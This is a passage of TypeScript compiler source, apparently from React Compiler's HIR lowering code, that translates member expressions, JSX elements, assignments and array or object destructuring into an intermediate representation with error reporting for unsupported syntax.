args.push(lowerExpressionToTemporary(builder, argPath));\n    } else {\n      builder.recordError(\n        new CompilerErrorDetail({\n          reason: `(BuildHIR::lowerExpression) Handle ${argPath.type} arguments in CallExpression`,\n          category: ErrorCategory.Todo,\n          loc: argPath.node.loc ?? null,\n          suggestions: null,\n        }),\n      );\n    }\n  }\n  return args;\n}\n\ntype LoweredMemberExpression = {\n  object: Place;\n  property: Place | string | number;\n  value: InstructionValue;\n};\nfunction lowerMemberExpression(\n  builder: HIRBuilder,\n  expr: NodePath<t.MemberExpression | t.OptionalMemberExpression>,\n  loweredObject: Place | null = null,\n): LoweredMemberExpression {\n  const exprNode = expr.node;\n  const exprLoc = exprNode.loc ?? GeneratedSource;\n  const objectNode = expr.get('object');\n  const propertyNode = expr.get('property');\n  const object =\n    loweredObject ?? lowerExpressionToTemporary(builder, objectNode);\n\n  if (!expr.node.computed || expr.node.property.type === 'NumericLiteral') {\n    let property: PropertyLiteral;\n    if (propertyNode.isIdentifier()) {\n      property = makePropertyLiteral(propertyNode.node.name);\n    } else if (propertyNode.isNumericLiteral()) {\n      property = makePropertyLiteral(propertyNode.node.value);\n    } else {\n      builder.recordError(\n        new CompilerErrorDetail({\n          reason: `(BuildHIR::lowerMemberExpression) Handle ${propertyNode.type} property`,\n          category: ErrorCategory.Todo,\n          loc: propertyNode.node.loc ?? null,\n          suggestions: null,\n        }),\n      );\n      return {\n        object,\n        property: propertyNode.toString(),\n        value: {kind: 'UnsupportedNode', node: exprNode, loc: exprLoc},\n      };\n    }\n    const value: InstructionValue = {\n      kind: 'PropertyLoad',\n      object: {...object},\n      property,\n      loc: exprLoc,\n    };\n    return {object, property, value};\n  } else {\n    if (!propertyNode.isExpression()) {\n      builder.recordError(\n        new CompilerErrorDetail({\n          reason: `(BuildHIR::lowerMemberExpression) Expected Expression, got ${propertyNode.type} property`,\n          category: ErrorCategory.Todo,\n          loc: propertyNode.node.loc ?? null,\n          suggestions: null,\n        }),\n      );\n      return {\n        object,\n        property: propertyNode.toString(),\n        value: {\n          kind: 'UnsupportedNode',\n          node: exprNode,\n          loc: exprLoc,\n        },\n      };\n    }\n    const property = lowerExpressionToTemporary(builder, propertyNode);\n    const value: InstructionValue = {\n      kind: 'ComputedLoad',\n      object: {...object},\n      property: {...property},\n      loc: exprLoc,\n    };\n    return {object, property, value};\n  }\n}\n\nfunction lowerJsxElementName(\n  builder: HIRBuilder,\n  exprPath: NodePath<\n    t.JSXIdentifier | t.JSXMemberExpression | t.JSXNamespacedName\n  >,\n): Place | BuiltinTag {\n  const exprNode = exprPath.node;\n  const exprLoc = exprNode.loc ?? GeneratedSource;\n  if (exprPath.isJSXIdentifier()) {\n    const tag: string = exprPath.node.name;\n    if (tag.match(/^[A-Z]/)) {\n      const kind = getLoadKind(builder, exprPath);\n      return lowerValueToTemporary(builder, {\n        kind: kind,\n        place: lowerIdentifier(builder, exprPath),\n        loc: exprLoc,\n      });\n    } else {\n      return {\n        kind: 'BuiltinTag',\n        name: tag,\n        loc: exprLoc,\n      };\n    }\n  } else if (exprPath.isJSXMemberExpression()) {\n    return lowerJsxMemberExpression(builder, exprPath);\n  } else if (exprPath.isJSXNamespacedName()) {\n    const namespace = exprPath.node.namespace.name;\n    const name = exprPath.node.name.name;\n    const tag = `${namespace}:${name}`;\n    if (namespace.indexOf(':') !== -1 || name.indexOf(':') !== -1) {\n      builder.recordError(\n        new CompilerErrorDetail({\n          reason: `Expected JSXNamespacedName to have no colons in the namespace or name`,\n          description: `Got \\`${namespace}\\` : \\`${name}\\``,\n          category: ErrorCategory.Syntax,\n          loc: exprPath.node.loc ?? null,\n          suggestions: null,\n        }),\n      );\n    }\n    const place = lowerValueToTemporary(builder, {\n      kind: 'Primitive',\n      value: tag,\n      loc: exprLoc,\n    });\n    return place;\n  } else {\n    builder.recordError(\n      new CompilerErrorDetail({\n        reason: `(BuildHIR::lowerJsxElementName) Handle ${exprPath.type} tags`,\n        category: ErrorCategory.Todo,\n        loc: exprPath.node.loc ?? null,\n        suggestions: null,\n      }),\n    );\n    return lowerValueToTemporary(builder, {\n      kind: 'UnsupportedNode',\n      node: exprNode,\n      loc: exprLoc,\n    });\n  }\n}\n\nfunction lowerJsxMemberExpression(\n  builder: HIRBuilder,\n  exprPath: NodePath<t.JSXMemberExpression>,\n): Place {\n  const loc = exprPath.node.loc ?? GeneratedSource;\n  const object = exprPath.get('object');\n  let objectPlace: Place;\n  if (object.isJSXMemberExpression()) {\n    objectPlace = lowerJsxMemberExpression(builder, object);\n  } else {\n    CompilerError.invariant(object.isJSXIdentifier(), {\n      reason: `TypeScript refinement fail: expected 'JsxIdentifier', got \\`${object.node.type}\\``,\n      loc: object.node.loc ?? GeneratedSource,\n    });\n\n    const kind = getLoadKind(builder, object);\n    objectPlace = lowerValueToTemporary(builder, {\n      kind: kind,\n      place: lowerIdentifier(builder, object),\n      loc: exprPath.node.loc ?? GeneratedSource,\n    });\n  }\n  const property = exprPath.get('property').node.name;\n  return lowerValueToTemporary(builder, {\n    kind: 'PropertyLoad',\n    object: objectPlace,\n    property: makePropertyLiteral(property),\n    loc,\n  });\n}\n\nfunction lowerJsxElement(\n  builder: HIRBuilder,\n  exprPath: NodePath<\n    | t.JSXText\n    | t.JSXExpressionContainer\n    | t.JSXSpreadChild\n    | t.JSXElement\n    | t.JSXFragment\n  >,\n): Place | null {\n  const exprNode = exprPath.node;\n  const exprLoc = exprNode.loc ?? GeneratedSource;\n  if (exprPath.isJSXElement() || exprPath.isJSXFragment()) {\n    return lowerExpressionToTemporary(builder, exprPath);\n  } else if (exprPath.isJSXExpressionContainer()) {\n    const expression = exprPath.get('expression');\n    if (expression.isJSXEmptyExpression()) {\n      return null;\n    } else {\n      CompilerError.invariant(expression.isExpression(), {\n        reason: `(BuildHIR::lowerJsxElement) Expected Expression but found ${expression.type}!`,\n        loc: expression.node.loc ?? GeneratedSource,\n      });\n      return lowerExpressionToTemporary(builder, expression);\n    }\n  } else if (exprPath.isJSXText()) {\n    let text: string | null;\n    if (builder.fbtDepth > 0) {\n      /*\n       * FBT whitespace normalization differs from standard JSX.\n       * https://github.com/facebook/fbt/blob/0b4e0d13c30bffd0daa2a75715d606e3587b4e40/packages/babel-plugin-fbt/src/FbtUtil.js#L76-L87\n       * Since the fbt transform runs after, let's just preserve all\n       * whitespace in FBT subtrees as is.\n       */\n      text = exprPath.node.value;\n    } else {\n      text = trimJsxText(exprPath.node.value);\n    }\n\n    if (text === null) {\n      return null;\n    }\n    const place = lowerValueToTemporary(builder, {\n      kind: 'JSXText',\n      value: text,\n      loc: exprLoc,\n    });\n    return place;\n  } else {\n    builder.recordError(\n      new CompilerErrorDetail({\n        reason: `(BuildHIR::lowerJsxElement) Unhandled JsxElement, got: ${exprPath.type}`,\n        category: ErrorCategory.Todo,\n        loc: exprPath.node.loc ?? null,\n        suggestions: null,\n      }),\n    );\n    const place = lowerValueToTemporary(builder, {\n      kind: 'UnsupportedNode',\n      node: exprNode,\n      loc: exprLoc,\n    });\n    return place;\n  }\n}\n\n/*\n * Trims whitespace according to the JSX spec:\n * > JSX removes whitespace at the beginning and ending of a line.\n * > It also removes blank lines. New lines adjacent to tags are removed;\n * > new lines that occur in the middle of string literals are condensed\n * > into a single space.\n *\n * From https://legacy.reactjs.org/docs/jsx-in-depth.html#string-literals-1\n *\n * Implementation adapted from Babel:\n * https://github.com/babel/babel/blob/54d30f206057be64b496d2da1ec8c49d244ba4e4/packages/babel-types/src/utils/react/cleanJSXElementLiteralChild.ts#L5\n */\nfunction trimJsxText(original: string): string | null {\n  const lines = original.split(/\\r\\n|\\n|\\r/);\n\n  let lastNonEmptyLine = 0;\n\n  for (let i = 0; i < lines.length; i++) {\n    if (lines[i].match(/[^ \\t]/)) {\n      lastNonEmptyLine = i;\n    }\n  }\n\n  let str = '';\n\n  for (let i = 0; i < lines.length; i++) {\n    const line = lines[i];\n\n    const isFirstLine = i === 0;\n    const isLastLine = i === lines.length - 1;\n    const isLastNonEmptyLine = i === lastNonEmptyLine;\n\n    // replace rendered whitespace tabs with spaces\n    let trimmedLine = line.replace(/\\t/g, ' ');\n\n    // trim whitespace touching a newline\n    if (!isFirstLine) {\n      trimmedLine = trimmedLine.replace(/^[ ]+/, '');\n    }\n\n    // trim whitespace touching an endline\n    if (!isLastLine) {\n      trimmedLine = trimmedLine.replace(/[ ]+$/, '');\n    }\n\n    if (trimmedLine) {\n      if (!isLastNonEmptyLine) {\n        trimmedLine += ' ';\n      }\n\n      str += trimmedLine;\n    }\n  }\n\n  if (str.length !== 0) {\n    return str;\n  } else {\n    return null;\n  }\n}\n\nfunction lowerFunctionToValue(\n  builder: HIRBuilder,\n  expr: NodePath<\n    t.FunctionExpression | t.ArrowFunctionExpression | t.FunctionDeclaration\n  >,\n): InstructionValue {\n  const exprNode = expr.node;\n  const exprLoc = exprNode.loc ?? GeneratedSource;\n  const loweredFunc = lowerFunction(builder, expr);\n  return {\n    kind: 'FunctionExpression',\n    name: loweredFunc.func.id,\n    nameHint: null,\n    type: expr.node.type,\n    loc: exprLoc,\n    loweredFunc,\n  };\n}\n\nfunction lowerFunction(\n  builder: HIRBuilder,\n  expr: NodePath<\n    | t.FunctionExpression\n    | t.ArrowFunctionExpression\n    | t.FunctionDeclaration\n    | t.ObjectMethod\n  >,\n): LoweredFunction {\n  const componentScope: Scope = builder.environment.parentFunction.scope;\n  const capturedContext = gatherCapturedContext(expr, componentScope);\n\n  /*\n   * TODO(gsn): In the future, we could only pass in the context identifiers\n   * that are actually used by this function and it's nested functions, rather\n   * than all context identifiers.\n   *\n   * This isn't a problem in practice because use Babel's scope analysis to\n   * identify the correct references.\n   */\n  const loweredFunc = lower(\n    expr,\n    builder.environment,\n    builder.bindings,\n    new Map([...builder.context, ...capturedContext]),\n  );\n  return {\n    func: loweredFunc,\n  };\n}\n\nfunction lowerExpressionToTemporary(\n  builder: HIRBuilder,\n  exprPath: NodePath<t.Expression>,\n): Place {\n  const value = lowerExpression(builder, exprPath);\n  return lowerValueToTemporary(builder, value);\n}\n\nexport function lowerValueToTemporary(\n  builder: HIRBuilder,\n  value: InstructionValue,\n): Place {\n  if (value.kind === 'LoadLocal' && value.place.identifier.name === null) {\n    return value.place;\n  }\n  const place: Place = buildTemporaryPlace(builder, value.loc);\n  builder.push({\n    id: makeInstructionId(0),\n    lvalue: {...place},\n    value: value,\n    effects: null,\n    loc: value.loc,\n  });\n  return place;\n}\n\nfunction lowerIdentifier(\n  builder: HIRBuilder,\n  exprPath: NodePath<t.Identifier | t.JSXIdentifier>,\n): Place {\n  const exprNode = exprPath.node;\n  const exprLoc = exprNode.loc ?? GeneratedSource;\n  const binding = builder.resolveIdentifier(exprPath);\n  switch (binding.kind) {\n    case 'Identifier': {\n      const place: Place = {\n        kind: 'Identifier',\n        identifier: binding.identifier,\n        effect: Effect.Unknown,\n        reactive: false,\n        loc: exprLoc,\n      };\n      return place;\n    }\n    default: {\n      if (binding.kind === 'Global' && binding.name === 'eval') {\n        builder.recordError(\n          new CompilerErrorDetail({\n            reason: `The 'eval' function is not supported`,\n            description:\n              'Eval is an anti-pattern in JavaScript, and the code executed cannot be evaluated by React Compiler',\n            category: ErrorCategory.UnsupportedSyntax,\n            loc: exprPath.node.loc ?? null,\n            suggestions: null,\n          }),\n        );\n      }\n      return lowerValueToTemporary(builder, {\n        kind: 'LoadGlobal',\n        binding,\n        loc: exprLoc,\n      });\n    }\n  }\n}\n\n// Creates a temporary Identifier and Place referencing that identifier.\nfunction buildTemporaryPlace(builder: HIRBuilder, loc: SourceLocation): Place {\n  const place: Place = {\n    kind: 'Identifier',\n    identifier: builder.makeTemporary(loc),\n    effect: Effect.Unknown,\n    reactive: false,\n    loc,\n  };\n  return place;\n}\n\nfunction getStoreKind(\n  builder: HIRBuilder,\n  identifier: NodePath<t.Identifier>,\n): 'StoreLocal' | 'StoreContext' {\n  const isContext = builder.isContextIdentifier(identifier);\n  return isContext ? 'StoreContext' : 'StoreLocal';\n}\n\nfunction getLoadKind(\n  builder: HIRBuilder,\n  identifier: NodePath<t.Identifier | t.JSXIdentifier>,\n): 'LoadLocal' | 'LoadContext' {\n  const isContext = builder.isContextIdentifier(identifier);\n  return isContext ? 'LoadContext' : 'LoadLocal';\n}\n\nfunction lowerIdentifierForAssignment(\n  builder: HIRBuilder,\n  loc: SourceLocation,\n  kind: InstructionKind,\n  path: NodePath<t.Identifier>,\n): Place | {kind: 'Global'; name: string} | null {\n  const binding = builder.resolveIdentifier(path);\n  if (binding.kind !== 'Identifier') {\n    if (kind === InstructionKind.Reassign) {\n      return {kind: 'Global', name: path.node.name};\n    } else {\n      // Else its an internal error bc we couldn't find the binding\n      builder.recordError(\n        new CompilerErrorDetail({\n          reason: `(BuildHIR::lowerAssignment) Could not find binding for declaration.`,\n          category: ErrorCategory.Invariant,\n          loc: path.node.loc ?? null,\n          suggestions: null,\n        }),\n      );\n      return null;\n    }\n  } else if (\n    binding.bindingKind === 'const' &&\n    kind === InstructionKind.Reassign\n  ) {\n    builder.recordError(\n      new CompilerErrorDetail({\n        reason: `Cannot reassign a \\`const\\` variable`,\n        category: ErrorCategory.Syntax,\n        loc: path.node.loc ?? null,\n        description:\n          binding.identifier.name != null\n            ? `\\`${binding.identifier.name.value}\\` is declared as const`\n            : null,\n      }),\n    );\n    return null;\n  }\n\n  const place: Place = {\n    kind: 'Identifier',\n    identifier: binding.identifier,\n    effect: Effect.Unknown,\n    reactive: false,\n    loc,\n  };\n  return place;\n}\n\nfunction lowerAssignment(\n  builder: HIRBuilder,\n  loc: SourceLocation,\n  kind: InstructionKind,\n  lvaluePath: NodePath<t.LVal>,\n  value: Place,\n  assignmentKind: 'Destructure' | 'Assignment',\n): InstructionValue {\n  const lvalueNode = lvaluePath.node;\n  switch (lvalueNode.type) {\n    case 'Identifier': {\n      const lvalue = lvaluePath as NodePath<t.Identifier>;\n      const place = lowerIdentifierForAssignment(builder, loc, kind, lvalue);\n      if (place === null) {\n        return {\n          kind: 'UnsupportedNode',\n          loc: lvalue.node.loc ?? GeneratedSource,\n          node: lvalue.node,\n        };\n      } else if (place.kind === 'Global') {\n        const temporary = lowerValueToTemporary(builder, {\n          kind: 'StoreGlobal',\n          name: place.name,\n          value,\n          loc,\n        });\n        return {kind: 'LoadLocal', place: temporary, loc: temporary.loc};\n      }\n      const isHoistedIdentifier = builder.environment.isHoistedIdentifier(\n        lvalue.node,\n      );\n\n      let temporary;\n      if (builder.isContextIdentifier(lvalue)) {\n        if (kind === InstructionKind.Const && !isHoistedIdentifier) {\n          builder.recordError(\n            new CompilerErrorDetail({\n              reason: `Expected \\`const\\` declaration not to be reassigned`,\n              category: ErrorCategory.Syntax,\n              loc: lvalue.node.loc ?? null,\n              suggestions: null,\n            }),\n          );\n        }\n\n        if (\n          kind !== InstructionKind.Const &&\n          kind !== InstructionKind.Reassign &&\n          kind !== InstructionKind.Let &&\n          kind !== InstructionKind.Function\n        ) {\n          builder.recordError(\n            new CompilerErrorDetail({\n              reason: `Unexpected context variable kind`,\n              category: ErrorCategory.Syntax,\n              loc: lvalue.node.loc ?? null,\n              suggestions: null,\n            }),\n          );\n          temporary = lowerValueToTemporary(builder, {\n            kind: 'UnsupportedNode',\n            node: lvalueNode,\n            loc: lvalueNode.loc ?? GeneratedSource,\n          });\n        } else {\n          temporary = lowerValueToTemporary(builder, {\n            kind: 'StoreContext',\n            lvalue: {place: {...place}, kind},\n            value,\n            loc,\n          });\n        }\n      } else {\n        const typeAnnotation = lvalue.get('typeAnnotation');\n        let type: t.FlowType | t.TSType | null;\n        if (typeAnnotation.isTSTypeAnnotation()) {\n          const typePath = typeAnnotation.get('typeAnnotation');\n          type = typePath.node;\n        } else if (typeAnnotation.isTypeAnnotation()) {\n          const typePath = typeAnnotation.get('typeAnnotation');\n          type = typePath.node;\n        } else {\n          type = null;\n        }\n        temporary = lowerValueToTemporary(builder, {\n          kind: 'StoreLocal',\n          lvalue: {place: {...place}, kind},\n          value,\n          type,\n          loc,\n        });\n      }\n      return {kind: 'LoadLocal', place: temporary, loc: temporary.loc};\n    }\n    case 'MemberExpression': {\n      // This can only occur because of a coding error, parsers enforce this condition\n      CompilerError.invariant(kind === InstructionKind.Reassign, {\n        reason: 'MemberExpression may only appear in an assignment expression',\n        loc: lvaluePath.node.loc ?? GeneratedSource,\n      });\n      const lvalue = lvaluePath as NodePath<t.MemberExpression>;\n      const property = lvalue.get('property');\n      const object = lowerExpressionToTemporary(builder, lvalue.get('object'));\n      if (!lvalue.node.computed || lvalue.get('property').isNumericLiteral()) {\n        let temporary;\n        if (property.isIdentifier()) {\n          temporary = lowerValueToTemporary(builder, {\n            kind: 'PropertyStore',\n            object,\n            property: makePropertyLiteral(property.node.name),\n            value,\n            loc,\n          });\n        } else if (property.isNumericLiteral()) {\n          temporary = lowerValueToTemporary(builder, {\n            kind: 'PropertyStore',\n            object,\n            property: makePropertyLiteral(property.node.value),\n            value,\n            loc,\n          });\n        } else {\n          builder.recordError(\n            new CompilerErrorDetail({\n              reason: `(BuildHIR::lowerAssignment) Handle ${property.type} properties in MemberExpression`,\n              category: ErrorCategory.Todo,\n              loc: property.node.loc ?? null,\n              suggestions: null,\n            }),\n          );\n          return {kind: 'UnsupportedNode', node: lvalueNode, loc};\n        }\n        return {kind: 'LoadLocal', place: temporary, loc: temporary.loc};\n      } else {\n        if (!property.isExpression()) {\n          builder.recordError(\n            new CompilerErrorDetail({\n              reason:\n                '(BuildHIR::lowerAssignment) Expected private name to appear as a non-computed property',\n              category: ErrorCategory.Todo,\n              loc: property.node.loc ?? null,\n              suggestions: null,\n            }),\n          );\n          return {kind: 'UnsupportedNode', node: lvalueNode, loc};\n        }\n        const propertyPlace = lowerExpressionToTemporary(builder, property);\n        const temporary = lowerValueToTemporary(builder, {\n          kind: 'ComputedStore',\n          object,\n          property: propertyPlace,\n          value,\n          loc,\n        });\n        return {kind: 'LoadLocal', place: temporary, loc: temporary.loc};\n      }\n    }\n    case 'ArrayPattern': {\n      const lvalue = lvaluePath as NodePath<t.ArrayPattern>;\n      const elements = lvalue.get('elements');\n      const items: ArrayPattern['items'] = [];\n      const followups: Array<{place: Place; path: NodePath<t.LVal>}> = [];\n      /*\n       * A given destructuring statement must contain all declarations or all\n       * reassignments. This is enforced by the parser, but we rewrite nested\n       * destructuring into assignment to a temporary. Therefore, if we see\n       * any reassignments that are nested destructuring we fall back to\n       * using temporaries for all variables, and emitting the actual reassignments\n       * in follow-up statements\n       */\n      const forceTemporaries =\n        kind === InstructionKind.Reassign &&\n        (elements.some(element => !element.isIdentifier()) ||\n          elements.some(\n            element =>\n              element.isIdentifier() &&\n              (getStoreKind(builder, element) !== 'StoreLocal' ||\n                builder.resolveIdentifier(element).kind !== 'Identifier'),\n          ));\n      for (let i = 0; i < elements.length; i++) {\n        const element = elements[i];\n        if (element.node == null) {\n          items.push({\n            kind: 'Hole',\n          });\n          continue;\n        }\n        if (element.isRestElement()) {\n          const argument = element.get('argument');\n          if (\n            argument.isIdentifier() &&\n            !forceTemporaries &&\n            (assignmentKind === 'Assignment' ||\n              getStoreKind(builder, argument) === 'StoreLocal')\n          ) {\n            const identifier = lowerIdentifierForAssignment(\n              builder,\n              element.node.loc ?? GeneratedSource,\n              kind,\n              argument,\n            );\n            if (identifier === null) {\n              continue;\n            } else if (identifier.kind === 'Global') {\n              builder.recordError(\n                new CompilerErrorDetail({\n                  category: ErrorCategory.Todo,\n                  reason:\n                    'Expected reassignment of globals to enable forceTemporaries',\n                  loc: element.node.loc ?? GeneratedSource,\n                }),\n              );\n              continue;\n            }\n            items.push({\n              kind: 'Spread',\n              place: identifier,\n            });\n          } else {\n            const temp = buildTemporaryPlace(\n              builder,\n              element.node.loc ?? GeneratedSource,\n            );\n            promoteTemporary(temp.identifier);\n            items.push({\n              kind: 'Spread',\n              place: {...temp},\n            });\n            followups.push({place: temp, path: argument as NodePath<t.LVal>}); // TODO remove type cast\n          }\n        } else if (\n          element.isIdentifier() &&\n          !forceTemporaries &&\n          (assignmentKind === 'Assignment' ||\n            getStoreKind(builder, element) === 'StoreLocal')\n        ) {\n          const identifier = lowerIdentifierForAssignment(\n            builder,\n            element.node.loc ?? GeneratedSource,\n            kind,\n            element,\n          );\n          if (identifier === null) {\n            continue;\n          } else if (identifier.kind === 'Global') {\n            builder.recordError(\n              new CompilerErrorDetail({\n                category: ErrorCategory.Todo,\n                reason:\n                  'Expected reassignment of globals to enable forceTemporaries',\n                loc: element.node.loc ?? GeneratedSource,\n              }),\n            );\n            continue;\n          }\n          items.push(identifier);\n        } else {\n          const temp = buildTemporaryPlace(\n            builder,\n            element.node.loc ?? GeneratedSource,\n          );\n          promoteTemporary(temp.identifier);\n          items.push({...temp});\n          followups.push({place: temp, path: element as NodePath<t.LVal>}); // TODO remove type cast\n        }\n      }\n      const temporary = lowerValueToTemporary(builder, {\n        kind: 'Destructure',\n        lvalue: {\n          kind,\n          pattern: {\n            kind: 'ArrayPattern',\n            items,\n            loc: lvalue.node.loc ?? GeneratedSource,\n          },\n        },\n        value,\n        loc,\n      });\n      for (const {place, path} of followups) {\n        lowerAssignment(\n          builder,\n          path.node.loc ?? loc,\n          kind,\n          path,\n          place,\n          assignmentKind,\n        );\n      }\n      return {kind: 'LoadLocal', place: temporary, loc: value.loc};\n    }\n    case 'ObjectPattern': {\n      const lvalue = lvaluePath as NodePath<t.ObjectPattern>;\n      const propertiesPaths = lvalue.get('properties');\n      const properties: ObjectPattern['properties'] = [];\n      const followups: Array<{place: Place; path: NodePath<t.LVal>}> = [];\n      /*\n       * A given destructuring statement must contain all declarations or all\n       * reassignments. This is enforced by the parser, but we rewrite nested\n       * destructuring into assignment to a temporary. Therefore, if we see\n       * any reassignments that are nested destructuring we fall back to\n       * using temporaries for all variables, and emitting the actual reassignments\n       * in follow-up statements\n       */\n      const forceTemporaries =\n        kind === InstructionKind.Reassign &&\n        propertiesPaths.some(\n          property =>\n            property.isRestElement() ||\n            (property.isObjectProperty() &&\n              (!property.get('value').isIdentifier() ||\n                builder.resolveIdentifier(\n                  property.get('value') as NodePath<t.Identifier>,\n                ).kind !== 'Identifier')),\n        );\n      for (let i = 0; i < propertiesPaths.length; i++) {\n        const property = propertiesPaths[i];\n        if (property.isRestElement()) {\n          const argument = property.get('argument');\n          if (!argument.isIdentifier()) {\n            builder.recordError(\n              new CompilerErrorDetail({\n                reason: `(BuildHIR::lowerAssignment) Handle ${argument.node.type} rest element in ObjectPattern`,\n                category: ErrorCategory.Todo,\n                loc: argument.node.loc ?? null,\n                suggestions: null,\n              }),\n            );\n            continue;\n          }\n          if (\n            forceTemporaries ||\n            getStoreKind(builder, argument) === 'StoreContext'\n          ) {\n            const temp = buildTemporaryPlace(\n              builder,\n              property.node.loc ?? GeneratedSource,\n            );\n            promoteTemporary(temp.identifier);\n            properties.push({\n              kind: 'Spread',\n              place: {...temp},\n            });\n            followups.push({place: temp, path: argument as NodePath<t.LVal>}); // TODO remove type cast\n          } else {\n            const identifier = lowerIdentifierForAssignment(\n              builder,\n              property.node.loc ?? GeneratedSource,\n              kind,\n              argument,\n            );\n            if (identifier === null) {\n              continue;\n            } else if (identifier.kind === 'Global') {\n              builder.recordError(\n                new CompilerErrorDetail({\n                  category: ErrorCategory.Todo,\n                  reason:\n                    'Expected reassignment of globals to enable forceTemporaries',\n                  loc: property.node.loc ?? GeneratedSource,\n                }),\n              );\n              continue;\n            }\n            properties.push({\n              kind: 'Spread',\n              place: identifier,\n            });\n          }\n        } else {\n          // TODO: this should always be true given the if/else\n          if (!property.isObjectProperty()) {\n            builder.recordError(\n              new CompilerErrorDetail({\n                reason: `(BuildHIR::lowerAssignment) Handle ${property.type} properties in ObjectPattern`,\n                category: ErrorCategory.Todo,\n                loc: property.node.loc ?? null,\n                suggestions: null,\n              }),\n            );\n            continue;\n          }\n          if (property.node.computed) {\n            builder.recordError(\n              new CompilerErrorDetail({\n                reason: `(BuildHIR::lowerAssignment) Handle computed properties in ObjectPattern`,\n                category: ErrorCategory.Todo,\n                loc: property.node.loc ?? null,\n                suggestions: null,\n              }),\n            );\n            continue;\n          }\n          const loweredKey = lowerObjectPropertyKey(builder, property);\n          if (!loweredKey) {\n            continue;\n          }\n          const element = property.get('value');\n          if (!element.isLVal()) {\n            builder.recordError(\n              new CompilerErrorDetail({\n                reason: `(BuildHIR::lowerAssignment) Expected object property value to be an LVal, got: ${element.type}`,\n                category: ErrorCategory.Todo,\n                loc: element.node.loc ?? null,\n                suggestions: null,\n              }),\n            );\n            continue;\n          }\n          if (\n            element.isIdentifier() &&\n            !forceTemporaries &&\n            (assignmentKind === 'Assignment' ||\n              getStoreKind(builder, element) === 'StoreLocal')\n          ) {\n            const identifier = lowerIdentifierForAssignment(\n              builder,\n              element.node.loc ?? GeneratedSource,\n              kind,\n              element,\n            );\n            if (identifier === null) {\n              continue;\n            } else if (identifier.kind === 'Global') {\n              builder.recordError(\n                new CompilerErrorDetail({\n                  category: ErrorCategory.Todo,\n                  reason:\n                    'Expected reassignment of globals to enable forceTemporaries',\n                  loc: element.node.loc ?? GeneratedSource,\n                }),\n              );\n              continue;\n            }\n            properties.push({\n              kind: 'ObjectProperty',\n              type: 'property',\n              place: identifier,\n              key: loweredKey,\n            });\n          } else {\n            const temp = buildTemporaryPlace(\n              builder,\n              element.node.loc ?? GeneratedSource,\n            );\n            promoteTemporary(temp.identifier);\n            properties.push({\n              kind: 'ObjectProperty',\n              type: 'property',\n              place: {...temp},\n              key: loweredKey,\n            });\n            followups.push({place: temp, path: element as NodePath<t.LVal>}); // TODO remove type cast\n          }\n        }\n      }\n      const temporary = lowerValueToTemporary(builder, {\n        kind: 'Destructure',\n        lvalue: {\n          kind,\n          pattern: {\n            kind: 'ObjectPattern',\n            properties,\n            loc: lvalue.node.loc ?? GeneratedSource,\n          },\n        },\n        value,\n        loc,\n      });\n      for (const {place, path} of followups) {\n        lowerAssignment(\n          builder,\n          path.node.loc ?? loc,\n          kind,\n          path,\n          place,\n          assignmentKind,\n        );\n      }\n      return {kind: 'LoadLocal', place: temporary, loc: value.loc};\n    }\n    case 'AssignmentPattern': {\n      const lvalue = lvaluePath as NodePath<t.AssignmentPattern>;\n      const loc = lvalue.node.loc ?? GeneratedSource;\n      const temp = buildTemporaryPlace(builder, loc);\n\n      const testBlock = builder.reserve('value');\n      const continuationBlock = builder.reserve(builder.currentBlockKind());\n\n      const consequent = builder.enter('value', () => {\n        /*\n         * Because we reorder evaluation, we restrict the allowed default values to those where\n         * evaluation order is unobservable\n         */\n        const defaultValue = lowerReorderableExpression(\n          builder,\n          lvalue.get('right'),\n        );\n        lowerValueToTemporary(builder, {\n          kind: 'StoreLocal',\n          lvalue: {kind: InstructionKind.Const, place: {...temp}},\n          value: {...defaultValue},\n          type: null,\n          loc,\n        });\n        return {\n          kind: 'goto',\n          variant: GotoVariant.Break,\n          block: continuationBlock.id,\n          id: makeInstructionId(0),\n          loc,\n        };\n      });\n\n      const alternate = builder.enter('value', () => {\n        lowerValueToTemporary(builder, {\n          kind: 'StoreLocal',\n          lvalue: {kind: InstructionKind.Const, place: {...temp}},\n          value: {...value},\n          type: null,\n          loc,\n        });\n        return {\n          kind: 'goto',\n          variant: GotoVariant.Break,\n          block: continuationBlock.id,\n          id: makeInstructionId(0),\n          loc,\n        };\n      });\n      builder.terminateWithContinuation(\n        {\n          kind: 'ternary',\n          test: testBlock.id,\n          fallthrough: continuationBlock.id,\n          id: makeInstructionId(0),\n          loc,\n        },\n        testBlock,\n      );\n      const undef = lowerValueToTemporary(builder, {\n        kind: 'Primitive',\n        value: undefined,\n        loc,\n      });\n      const test = lowerValueToTemporary(builder, {\n        kind: 'BinaryExpression',\n        left: {...value},\n        operator: '===',\n        right: {...undef},\n        loc,\n      });\n      builder.terminateWithContinuation(\n        {\n          kind: 'branch',\n          test: {...test},\n          consequent,\n          alternate,\n          fallthrough: continuationBlock.id,\n          id: makeInstructionId(0),\n          loc,\n        },\n        continuationBlock,\n      );\n\n      return lowerAssignment(\n        builder,\n        loc,\n        kind,\n        lvalue.get('left'),\n        temp,\n        assignmentKind,\n      );\n    }\n    default: {\n      builder.recordError(\n        new CompilerErrorDetail({\n          reason: `(BuildHIR::lowerAssignment) Handle ${lvaluePath.type} assignments`,\n          category: ErrorCategory.Todo,\n          loc: lvaluePath.node.loc ?? null,\n          suggestions: null,\n        }),\n      );\n      return {kind: 'UnsupportedNode', node: lvalueNode, loc};\n    }\n  }\n}\n\nfunction captureScopes({from, to}: {from: Scope; to: Scope}): Set<Scope> {\n  let scopes: Set<Scope> = new Set();\n  while (from) {\n    scopes.add(from);\n\n    if (from === to) {\n      break;\n    }\n\n    from = from.parent;\n  }\n  return scopes;\n}\n\n/**\n * Returns a mapping of \"context\" identifiers — references to free variables that\n * will become part of the function expression's `context` array — along with the\n * source location of their first reference within the function.\n */\nfunction gatherCapturedContext(\n  fn: NodePath<\n    | t.FunctionExpression\n    | t.ArrowFunctionExpression\n    | t.FunctionDeclaration\n    | t.ObjectMethod\n  >,\n  componentScope: Scope,\n): Map<t.Identifier, SourceLocation> {\n  const capturedIds = new Map<t.Identifier, SourceLocation>();\n\n  /*\n   * Capture all the scopes from the parent of this function up to and including\n   * the component scope.\n   */\n  const pureScopes: Set<Scope> = captureScopes({\n    from: fn.scope.parent,\n    to: componentScope,\n  });\n\n  function handleMaybeDependency(\n    path: NodePath<t.Identifier> | NodePath<t.JSXOpeningElement>,\n  ): void {\n    // Base context variable to depend on\n    let baseIdentifier: NodePath<t.Identifier> | NodePath<t.JSXIdentifier>;\n    if (path.isJSXOpeningElement()) {\n      const name = path.get('name');\n      if 